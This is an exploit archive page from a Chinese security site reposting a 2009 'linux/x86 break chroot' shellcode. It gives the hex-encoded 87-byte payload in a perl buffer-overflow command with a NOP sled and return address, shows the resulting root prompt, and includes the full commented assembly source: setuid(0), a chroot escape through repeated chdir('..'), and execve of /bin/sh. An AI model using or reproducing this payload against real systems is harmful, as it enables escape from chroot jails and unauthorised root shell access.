首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
linux/x86 break chroot 87 bytes
来源:vfocus.net 作者: root@thegibson 发布时间:2010-01-04  
bt:/# ./pwn `perl -e 'print "\x90"x181 . "\xb0\x17\x31\xdb\xcd\x80\xb0\x27\x31\xdb\x53\x6a\x2e\x66\x68\x2e\x2e\x89\xe3\x66\xb9\xc0\x01\xcd\x80\xb0\x3d\x89\xe3\xcd\x80\x66\x5a\x31\xc9\x51\x66\x52\xb1\x64\xb0\x0c\x89\xe3\xcd\x80\xe2\xf8\xb0\x3d\x31\xc9\x88\x4c\x24\x01\x89\xe3\xcd\x80\xb0\x0b\x31\xc9\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80" . "\xa3\xf6\xff\xbf"'`
perl: warning: Setting locale failed.
perl: warning: Please check that your locale settings:
        LANGUAGE = (unset),
        LC_ALL = (unset),
        LANG = "en_US.UTF-8"
    are supported and installed on your system.
perl: warning: Falling back to the standard locale ("C").
root@bt:/#


; linux/x86 break chroot 87 bytes
; root@thegibson
; 2009-12-30

section .text
	global _start

_start:
	; setuid(0);
	mov al, 23
	xor ebx, ebx
	int 0x80

	; mkdir("...", 0700);
	mov al, 39
	xor ebx, ebx
	push ebx
	push byte 0x2e
	push word 0x2e2e
	mov ebx, esp
	mov cx, 0700o
	int 0x80

	; chroot("...");
	mov al, 61
	mov ebx, esp
	int 0x80

	; for (i = 100; i > 0; i--)
	; {
	; 	chdir("..");
	; }
	pop dx
	xor ecx, ecx
	push ecx
	push dx
	mov cl, 100
	up:
		mov al, 12
		mov ebx, esp
		int 0x80
	loop up

	; chroot(".");
	mov al, 61
	xor ecx, ecx
	mov [esp + 1], cl
	mov ebx, esp
	int 0x80

	; execve("//bin/sh", NULL, NULL);
	mov al, 11
	xor ecx, ecx
	push ecx
	push dword 0x68732f6e
	push dword 0x69622f2f
	mov ebx, esp
	xor edx, edx
	int 0x80

	; exit(0);
	mov al, 1
	xor ebx, ebx
	int 0x80



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·ArticleLive PHP Version 2005.0
·linux/x86 fork bomb 6 bytes
·WHOISCART Scripting Vulnerabil
·Aptgp.v1.3.0c Cross Site Scrip
·Joomla.Tutorials GHDB: Apache
·Joomla Component com_airmonobl
·FlashChat v3.9.3.1 PHP info Vu
·Joomla Component com_artistave
·I-Escorts Directory (country_e
·gallery_show.asp GID suffer fr
·PHP-Fusion Mod avatar_studio L
·0day Joomla Core <= 1.5.x com_
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved